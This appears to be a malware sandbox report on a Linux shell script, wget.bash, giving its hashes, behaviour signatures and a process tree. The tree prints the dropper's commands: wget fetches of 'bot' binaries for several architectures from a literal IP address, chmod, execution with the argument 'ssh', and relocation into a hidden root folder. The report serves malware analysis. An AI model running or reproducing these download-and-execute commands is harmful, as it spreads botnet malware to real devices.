Overview

overview

5

Static

static

wget.bash

ubuntu-18.04-amd64

5

wget.bash

debian-9-armhf

5

wget.bash

debian-9-mips

5

wget.bash

debian-9-mipsel

5

Resubmissions

09/08/2022, 18:31

220809-w6eersgaa25

09/08/2022, 18:18

220809-wxyr2sfgg75

Analysis

  • max time kernel
    0s
  • max time network
    681s
  • platform
    linux_armhf
  • resource
    debian9-armhf-en-20211208
  • resource tags

    arch:armhfimage:debian9-armhf-en-20211208kernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/08/2022, 18:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    wget.bash
  • Size 2KB
  • Sample220809-w6eersgaa2
  • SHA256 2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826
  • MD5 SHA1 SHA512
Score
5/10

Malware Config

Signatures

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.bash
    /tmp/wget.bash
    1⤵
    • Writes file to tmp directory
    PID:354
    • /usr/bin/wget
      wget http://109.206.241.211/bins/bot.mips
      2⤵
        PID:355
      • /bin/cat
        cat bot.mips
        2⤵
          PID:360
        • /bin/chmod
          chmod +x bot.mips fuwwyowo systemd-private-fe6e25270ab24b498dda7e817c5daab8-systemd-timesyncd.service-twUfq5 wget.bash
          2⤵
            PID:361
          • ./fuwwyowo
            ./fuwwyowo ssh
            2⤵
              PID:362
            • /usr/bin/wget
              wget http://109.206.241.211/bins/bot.mpsl
              2⤵
                PID:364
              • /bin/cat
                cat bot.mpsl
                2⤵
                  PID:366
                • /bin/chmod
                  chmod +x bot.mips bot.mpsl fuwwyowo systemd-private-fe6e25270ab24b498dda7e817c5daab8-systemd-timesyncd.service-twUfq5 wget.bash
                  2⤵
                    PID:367
                  • ./fuwwyowo
                    ./fuwwyowo ssh
                    2⤵
                      PID:369
                    • /usr/bin/wget
                      wget http://109.206.241.211/bins/bot.arm
                      2⤵
                        PID:372
                      • /bin/cat
                        cat bot.arm
                        2⤵
                          PID:374
                        • /bin/chmod
                          chmod +x bot.arm bot.mips bot.mpsl fuwwyowo systemd-private-fe6e25270ab24b498dda7e817c5daab8-systemd-timesyncd.service-twUfq5 wget.bash
                          2⤵
                            PID:375
                          • ./fuwwyowo
                            ./fuwwyowo ssh
                            2⤵
                              PID:376
                            • /usr/bin/wget
                              wget http://109.206.241.211/bins/bot.arm5
                              2⤵
                                PID:377
                              • /bin/cat
                                cat bot.arm5
                                2⤵
                                  PID:379
                                • /bin/chmod
                                  chmod +x bot.arm bot.arm5 bot.mips bot.mpsl fuwwyowo systemd-private-fe6e25270ab24b498dda7e817c5daab8-systemd-timesyncd.service-twUfq5 wget.bash
                                  2⤵
                                    PID:380
                                  • ./fuwwyowo
                                    ./fuwwyowo ssh
                                    2⤵
                                      PID:381
                                    • /usr/bin/wget
                                      wget http://109.206.241.211/bins/bot.arm6
                                      2⤵
                                        PID:383
                                      • /bin/chmod
                                        chmod +x bot.arm bot.arm5 bot.arm6 bot.mips bot.mpsl systemd-private-fe6e25270ab24b498dda7e817c5daab8-systemd-timesyncd.service-twUfq5 wget.bash
                                        2⤵
                                          PID:391
                                      • /bin/sh
                                        sh -c "mkdir /9kcgofeb9g/ && >/9kcgofeb9g/9kcgofeb9g && cd /9kcgofeb9g/ >/dev/null"
                                        1⤵
                                          PID:385
                                          • /bin/mkdir
                                            mkdir /9kcgofeb9g/
                                            2⤵
                                            • Reads runtime system information
                                            PID:386
                                        • /bin/sh
                                          sh -c "mv /tmp/fuwwyowo /9kcgofeb9g/9kcgofeb9g && chmod 777 /9kcgofeb9g/9kcgofeb9g >/dev/null"
                                          1⤵
                                            PID:387
                                            • /bin/mv
                                              mv /tmp/fuwwyowo /9kcgofeb9g/9kcgofeb9g
                                              2⤵
                                              • Reads runtime system information
                                              PID:388
                                            • /bin/chmod
                                              chmod 777 /9kcgofeb9g/9kcgofeb9g
                                              2⤵
                                                PID:392

                                            Network

                                                  MITRE ATT&CK Matrix

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads